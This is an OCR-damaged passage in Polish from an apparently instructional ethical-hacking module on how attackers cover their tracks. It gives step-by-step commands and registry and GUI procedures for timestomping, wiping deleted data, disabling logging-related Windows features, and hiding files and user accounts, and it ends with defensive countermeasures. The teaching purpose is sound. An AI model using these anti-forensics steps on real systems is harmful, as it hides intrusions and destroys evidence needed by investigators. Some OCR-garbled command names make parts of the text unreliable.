przezwyciezy¢ taki problem; robi to za pomoca polecenia export HISTSIZE=0.

Modyfikowanie daty i godziny
o touch -a -d '<date> <time>' SFile_name

Powyzsze polecenie jest przydatne do zmiany czasu dostepu do okreslonego pliku. Za pomoca
polecenia dotykowego osoby atakujgce mogg zmieni¢ date i godzine zgodnie ze swoimi wymaganiami.
To polecenie jest wykonywane tylko wtedy, gdy atakujgcemu uda sie ukras¢ dane logowania
administratora.

o touch -m -d '<date> <time>' SFile_name

Atakujgcy mogg réwniez uzy¢ tego samego polecenia z parametrem ,-m”, aby zmieni¢ date i godzine
ostatniej modyfikacji, aby wprowadzi¢ w btgd specjalistow ds. bezpieczenstwa. W obu przypadkach
parametr ,d” aktualizuje date/godzine modyfikacji lub dostepu.

Usun pliki za pomoca Cipher.exe

Cipher.exe to wbudowane narzedzie wiersza polecenia systemu Windows, ktérego mozna uzywac do
bezpiecznego usuwania danych przez nadpisywanie ich w celu unikniecia odzyskiwania w przysztosci.
To polecenie pomaga rowniez w szyfrowaniu i odszyfrowywaniu danych na partycjach NTFS. Kiedy
osoba atakujgca tworzy i szyfruje ztosliwy plik tekstowy, w czasie procesu szyfrowania tworzony jest
plik kopii zapasowej. Dlatego jesli proces szyfrowania zostanie przerwany, plik kopii zapasowej moze
zostac uzyty do odzyskania danych. Po zakonczeniu procesu szyfrowania plik kopii zapasowej jest
usuwany, ale ten usuniety plik mozna odzyskaé za pomocg oprogramowania do odzyskiwania danych,
a nastepnie moze on zosta¢ wykorzystany przez personel bezpieczeAstwa do przeprowadzenia
dochodzenia. Aby unikngé odzyskania danych i zatrzeé slady, osoby atakujgce uzywaja narzedzia
Cipher.exe do zastgpienia usunietych plikow, najpierw samymi zerami (0 x 00), nastepnie wszystkimi



255 (0 x FF), a na koncu liczbami losowymi. Atakujgcy moze usung¢ pliki za pomocy Cipher.exe,
wykonujgc nastepujgce kroki:

* Uruchom wiersz polecenia z uprawnieniami administratora

* Uzyj nastepujacego polecenia, aby nadpisac¢ usuniete pliki w okreslonym folderze:
cipher /w:<drive letter>:\<folder name>

* Uzyj nastepujacego polecenia, aby nadpisa¢ wszystkie usuniete pliki na danym dysku:
cipher /w:<drive letter>

Wytacz funkcjonalnosé systemu Windows

Whytacz znacznik czasu ostatniego dostepu

Znacznik czasu ostatniego dostepu do pliku zawiera informacje dotyczace czasu i danych, kiedy dany
plik zostat otwarty do odczytu lub zapisu. Dlatego za kazdym razem, gdy uzytkownik uzyskuje dostep
do pliku, znacznik czasu jest aktualizowany. Atakujacy uzywajg narzedzia fsutil do wytgczania lub
wiaczania znacznika czasu ostatniego dostepu. fsutil to narzedzie wiersza polecenia w systemie
operacyjnym Windows uzywane do ustawiania parametru zachowania woluminu NTFS,
DisableLastAccess, ktory kontroluje wtgczanie lub wytgczanie znacznika czasu ostatniego dostepu. Na
przykfad,

DisableLastAccess = | wskazuje, ze znaczniki czasu ostatniego dostepu sg wytgczone.
DisableLastAccess = o wskazuje, ze znaczniki czasu ostatniego dostepu sg wigczone.

Jak pokazano na zrzucie ekranu, osoby atakujgce uzywajg nastepujgcego polecenia, aby wytgczyc
ostatnie aktualizacje dostepu:

>fsutil behavior set disablelastaccess 1

Administrator: Command Promppt == O X

Wytacz hibernacje systemu Windows

Plik hibernacji (Hiberfil.sys) to ukryty plik systemowy znajdujacy sie w katalogu gtéwnym, w ktérym
zainstalowany jest system operacyjny. Ten plik zawiera informacje dotyczgce systemowej pamieci RAM
przechowywanej na dysku twardym w okreslonych momentach (kiedy uzytkownik wybiera hibernacje
swojego systemu). Te informacje sg kluczowe, poniewaz pracownicy ochrony mogg ich uzy¢ do
zbadania ataku na system. Dlatego wytaczenie hibernacji systemu Windows jest kluczowym krokiem
w kierunku zatarcia sladéw. Osoba atakujgca moze wytgczy¢ hibernacje systemu Windows za pomoca
rejestru, wykonujgc nastepujace kroki:

o Otworz Edytor rejestru i przejdz do nastepujace] lokalizacji:

Komputer\HKEY_LOCAL_MACHINE\SYSTEM\CurrsntControlSet\Control\Power



o Kliknij dwukrotnie HibernateEnabledDefault w prawym okienku; pojawi sie okno dialogowe Edytuj
warto$¢ DWORD (32-bitowa).

o W polu Dane wartosci: wprowadz wartosc 0, aby wytgczy¢ hibernacje
o Nacisnij OK

Atakujacy moga rowniez wytaczyé hibernacje systemu Windows za pomoca wiersza polecenia,
wykonujac nastepujgce kroki:

o Uruchom wiersz polecenia z uprawnieniami administratora

o Uzyj nastepujgcego polecenia, aby wytaczy¢ hibernacje:
powercfg.exe /hibernate off

Wytacz pamiec wirtualng systemu Windows (plik stronicowania)

Pamiec wirtualna, zwana takze plikiem stronicowania, to specjalny plik w systemie Windows, ktéry jest
uzywany jako rekompensata, gdy RAM (pamiec fizyczna) nie ma wystarczajacej przestrzeni uzytkowej.
Na przykfad, jesli atakujacy ma zaszyfrowany plik i chce go odczyta¢, musi go najpierw odszyfrowac.
Ten odszyfrowany plik pozostaje w pliku stronicowania, nawet po wylogowaniu sie atakujgcego z
systemu. Ponadto niektére programy innych firm mogg stuzy¢ do tymczasowego przechowywania
haset w postaci zwyktego tekstu i innych poufnych informacji. Dlatego wytgczenie stronicowania w
systemie Windows jest kluczowym krokiem w kierunku zacierania sladow. Atakujacy moze wytgczyé
stronicowanie, wykonujac nastepujace kroki:

1. Otwoérz Panel sterowania i przejdz do nastepujgcej lokalizacji:
System i zabezpieczenia -> System -> Zaawansowane ustawienia systemu

2. Pojawi sie okno dialogowe Witasciwosci systemu; na karcie Zaawansowane kliknij Ustawienia... w
sekcji Wydajnos¢

3. Pojawi sie okno dialogowe Opcje wydajnosci; przejdz do zaktadki Zaawansowane i kliknij Zmien... w
sekcji Pamie¢ wirtualna

4. Pojawi sie okno dialogowe Pamie¢ wirtualna; odznacz Automatycznie zarzadzaj rozmiarem pliku
stronicowania dla wszystkich dyskéw

5. Wybierz dysk, na ktérym stronicowanie ma by¢ wytgczone, a nastepnie zaznacz opcje Brak pliku
stronicowania i kliknij Ustaw

6. W oknie Wtasciwosci systemu kliknij Tak
7. Na koniec kliknij OK, aby zaimplementowac zmiany
Wytacz punkty przywracania systemu

Punkty przywracania systemu zawierajg informacje o ukrytych danych i wczesniej usunietych plikach.
Stanowi to zagrozenie dla atakujgcych, poniewaz usuniete pliki mozna odzyska¢ z poprzednich
punktéw przywracania. Osoba atakujgca moze wytgczy¢ punkty przywracania systemu, wykonujac
nastepujace kroki:

o Otwoérz Panel sterowania i przejdz do nastepujacej lokalizacji:

System i zabezpieczenia -> System -> Ochrona systemu



o Pojawi sie okno dialogowe Wtasciwosci systemu; w zaktadce Ochrona systemu wybierz dysk i kliknij
Konfiguruj...

o W sekcji Przywrdé ustawienia wybierz opcje Wytgcz ochrone systemu i kliknij przycisk Usun

o Pojawi sie kreator ochrony systemu; kliknij Kontynuuj, aby usung¢ wszystkie punkty przywracania z
dysku

o Kliknij OK
o Powtdrz powyzsze kroki dla wszystkich partycji dysku
Wytacz pamieé podreczng miniatur systemu Windows

thumbs.db to plik systemu Windows, ktory przechowuje miniatury typéw dokumentéw, takich jak
PPTX i DOCX, oraz pliki graficzne, takie jak GIF, JPEG, PNG i TIFF. Ten plik miniatur zawiera informacje
dotyczace plikow, ktére zostaty wczesniej usuniete lub uzywane w systemie. Na przyktad, jesli
atakujagcy uzyt pliku obrazu do ukrycia ztosliwego pliku, a nastepnie go usunat, miniatura tego obrazu
jest przechowywana w pliku thumbs.db, co ujawnia, ze usuniety plik byt wczesniej uzywany w systemie.

Osoba atakujgca moze wytgczy¢ pamiec podreczng miniatur, wykonujac nastepujgce kroki:
o Nacisnij klawisze Windows + R, aby otworzy¢ okno dialogowe Uruchom
o0 Wpisz gpedit.msc i nacisnij Enter lub kliknij OK

o Pojawi sie okno Edytora lokalnych zasad grupy; przejdz do Konfiguracja uzytkownika -> Szablony
administracyjne Sktadniki systemu Windows -) Eksplorator plikéw

o Kliknij dwukrotnie ustawienie Wytgcz buforowanie miniatur w ukrytych plikach thumbs.db z prawego
panelu

o Wybierz Wtaczone, aby wytgczy¢ pamiec podreczng miniatur
o Kliknij OK
Wytacz funkcje wstepnego pobierania systemu Windows

Prefetch to funkcja systemu Windows, ktdra przechowuje okreslone dane o aplikacjach, ktére s3
zwykle uzywane przez uzytkownikéw systemu. Przechowywane dane pomagajg zwiekszyé wydajnosé
systemu poprzez skrécenie czasu potrzebnego do zatadowania lub uruchomienia aplikacji. Na przyktfad,
jesli osoba atakujaca zainstalowata ztosliwg aplikacje, a nastepnie jg odinstalowata, kopia tej aplikacji
zostanie zapisana w pliku Prefetch. Te pliki pobierania wstepnego mogg by¢ uzywane przez personel
ochrony do odzyskiwania usunietych plikéw podczas dochodzenia w sprawie incydentu zwigzanego z
bezpieczenstwem. Atakujgcy mogg wytgczyé funkcje Prefetch, wykonujac nastepujgce kroki:

o Nacisnij klawisze Windows + R, aby otworzy¢ okno dialogowe Uruchom
0 Wpisz services.msc i nacis$nij Enter lub kliknij OK

o Wyszukaj ustuge SysMain (Superfetch) i kliknij jg dwukrotnie, aby otworzy¢ wtasciwosci SysMain
(komputer lokalny)

0 Z opcji rozwijanych w Typ uruchomienia wybierz opcje Wytgczone

o Kliknij OK



Ukrywanie artefaktéw w systemach Windows, Linux i macOS

Atakujacy czesto probujg ukryé artefakty odpowiadajgce ich ztosliwemu zachowaniu, aby oming¢
zabezpieczenia. Kazdy system operacyjny ukrywa swoje artefakty, takie jak wewnetrzne artefakty
wykonywania zadan i krytyczne pliki systemowe. Atakujacy wykorzystuja te funkcje systemu
operacyjnego do ukrywania swoich artefaktéw, takich jak katalogi, konta uzytkownikow, pliki, foldery
lub wszelkie inne artefakty zwigzane z systemem w istniejacych artefaktach, aby unikna¢ wykrycia.

Ukrywanie artefaktéw w systemie Windows
Ukrywanie plikéw i folderéw

Atakujgcy uzywajg nastepujgcego polecenia z uprawnieniami administratora, aby ukryé dowolny plik
lub folder w systemie Windows:

attrib +h +s +r <NazwaFolderu>
Ukrywanie uzytkownikow

Atakujacy mogg utworzy¢ ukryte konto uzytkownika w systemie ofiary za pomocg nastepujgcego
polecenia:

net user <UserName>

Uruchom nastepujgce polecenie, aby aktywowac konto do wykorzystania:

net user <UserName> /active:yes

Uruchom nastepujgce polecenie, aby ukry¢ konto, gdy nie jest wymagane:

net user <UserName> /active:no

Ukrywanie kont uzytkownikéw

Otworz Edytor rejestru i przejdz do nastepujacej lokalizacji:
HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\CurrentVersion\Winlogon
Kliknij prawym przyciskiem myszy Winlogon -> najedz kursorem na Nowy -> wybierz Klucz.

Zmien nazwe nowo utworzonego klucza na <Accountl>. Ponownie kliknij prawym przyciskiem myszy <
Accountl> -> najedZ na Nowy -> wybierz Klucz i zmien jego nazwe na <Konto2>.

Nastepnie kliknij prawym przyciskiem myszy <Konto2> -> najedz kursorem na Nowy -> wybierz wartos$¢
Dword.

Nastepnie zmien nazwe nowego klucza na <userName>, czyli nazwe uzytkownika, ktéry ma by¢ ukryty.
Ukrywanie artefaktéw w systemie Linux

Ukrywanie plikéw i folderow

Otwodrz nowy terminal i uzyj polecenia cd, aby przejs¢ do lokalizacji pliku, ktéry nalezy ukry¢:

cd ~/Documents/MaliciousFiles/

Umies¢ przed nazwg pliku kropke <.>, aby jg ukryé. Aby zmieni¢ nazwe pliku, uzyj nastepujgcego
polecenia:



mv MaliciousFile.txt .MaliciousFile.txt

Sprawdz, czy powyzszy plik jest ukryty za pomocg polecenia Is. Ponadto uzyj is -a lub is -ai, aby
wyswietli¢ odpowiednio wszystkie ukryte i nieukryte pliki.

Uzyj nastepujgcego polecenia, aby utworzy¢ nowy ukryty folder:
mkdir .HiddenMaliciousFiles

Uzyj polecenia dotykowego, aby utworzy¢ plik w ukrytym folderze:
touch MaliciousFile.txt

Ukrywanie artefaktéw w systemie macOS

Ukrywanie plikéw i folderow

Uzyj nastepujgcego polecenia, aby ukry¢ pliki w systemie macOS:
defaults write com.apple.finder AppleShowAllFiles FALSE

killall Finder

Aby ukry¢ okreslony plik, wpisz chfiags hidden, przeciggnij plik docelowy na terminal i nacisnij klawisz
Return.

chfiags hidden <filename> //** Add space at the end**
Narzedzia do zacierania $ldow

Narzedzia do zacierania s$ladéw pomagajg atakujgcemu wyczysci¢ wszystkie $lady aktywnosci
komputera i Internetu na komputerze docelowym. Narzedzia do $ledzenia Sciezek zwalniajg miejsce w
pamieci podrecznej, usuwaja pliki cookie, czyszczg historie Internetu i udostepnione pliki tymczasowe,
usuwajg dzienniki i odrzucajg smieci.

e CCleaner

CCleaner to narzedzie do optymalizacji systemu, prywatnoscii czyszczenia. Pozwala atakujgcym usungé
nieuzywane pliki i usuwa slady przeglgdania Internetu z docelowego komputera. Za pomocg tego
narzedzia atakujgcy moze bardzo tatwo usungé swoje $lady.

Niektére przyktady narzedzi do pokrywania toréw sg wymienione w nastepujgcy sposob:
* DBAN (https://dban.org )

* Privacy Eraser ( https://www.cybertronsoft.com)

* Wipe ( https://privacyroot.com)

* BleachBit (https://www.bleachbit.org )

* ClearProg ( http://www.ciearprog.de)

Obrona przed zakrywajgcymi sie torami

Rozne $rodki zaradcze w celu pokonania zakrytych toréw sg nastepujace:

* Aktywuj funkcje rejestrowania we wszystkich krytycznych systemach.



* Przeprowadzanie okresowych audytow systeméw informatycznych w celu zapewnienia, ze
funkcjonalnos¢ logowania jest zgodna z politykg bezpieczenistwa.

* Upewnij sie, ze nowe zdarzenia nie nadpisujg starych wpiséow w plikach dziennika po przekroczeniu
limitu przechowywania.

* Skonfiguruj odpowiednie i minimalne uprawnienia niezbedne do odczytu i zapisu plikow dziennika
przechowywanych w systemach krytycznych.

* Utrzymuj oddzielny serwer rejestrowania w strefie DMZ, aby wszystkie krytyczne serwery, takie jak
serwer DNS, serwer pocztowy i serwer WWW, przekazywaty i przechowywaty swoje dzienniki na tym
serwerze.

* Regularnie aktualizuj i fataj systemy operacyjne, aplikacje i oprogramowanie sprzetowe.
* Zamknij wszystkie nieuzywane otwarte porty i ustugi.

* Zaszyfruj pliki dziennika przechowywane w systemie, aby nie mozna ich byto zmienié¢ bez
odpowiedniego klucza deszyfrujgcego.

* Ustaw pliki dziennika w trybie ,tylko dotgczanie”, aby zapobiec nieautoryzowanemu usuwaniu
wpiséw dziennika.

*Okresowo wykonuj kopie zapasowe plikdw dziennika na niezmiennych nosnikach.

*Uzyj ograniczonych list ACL, aby zabezpieczy¢ pliki dziennika.

Podsumowanie modutu

W tym module szczegétowo omowilismy rézne fazy zwigzane z hakowaniem systemu, takie jak
uzyskiwanie dostepu, zwiekszanie uprawnien, utrzymywanie dostepu i zacieranie sladéw. Omoéwilismy
rowniez rézne techniki i narzedzia stosowane przez osoby atakujgce w celu uzyskania dostepu do
docelowego systemu. W tym module omdéwiono réwniez rézne narzedzia i techniki wykorzystywane
przez osoby atakujgce do eskalacji swoich uprawnien. Wyjasniono rdézne techniki, takie jak
uruchamianie ztosliwych aplikacji (keyloggery, programy szpiegujace, rootkity itp.), manipulowanie
strumieniem NTFS, steganografia i steganaanaliza, ktérych atakujgcy uzywajg do utrzymania zdalnego
dostepu do docelowego systemu i kradziezy krytycznych informacji. Omoéwiono rowniez rézne techniki
stosowane przez osoby atakujgce w celu usuniecia wszelkich dowoddw naruszenia bezpieczeristwa z
systemu docelowego. Ponadto omdéwiono rdézne Srodki zaradcze, ktére nalezy zastosowac, aby
zapobiec prébom wtaman do systemu, wraz z réznymi narzedziami ochrony oprogramowania. W
nastepnym module szczegétowo omoéwimy rdézne zagrozenia ztosliwym oprogramowaniem.



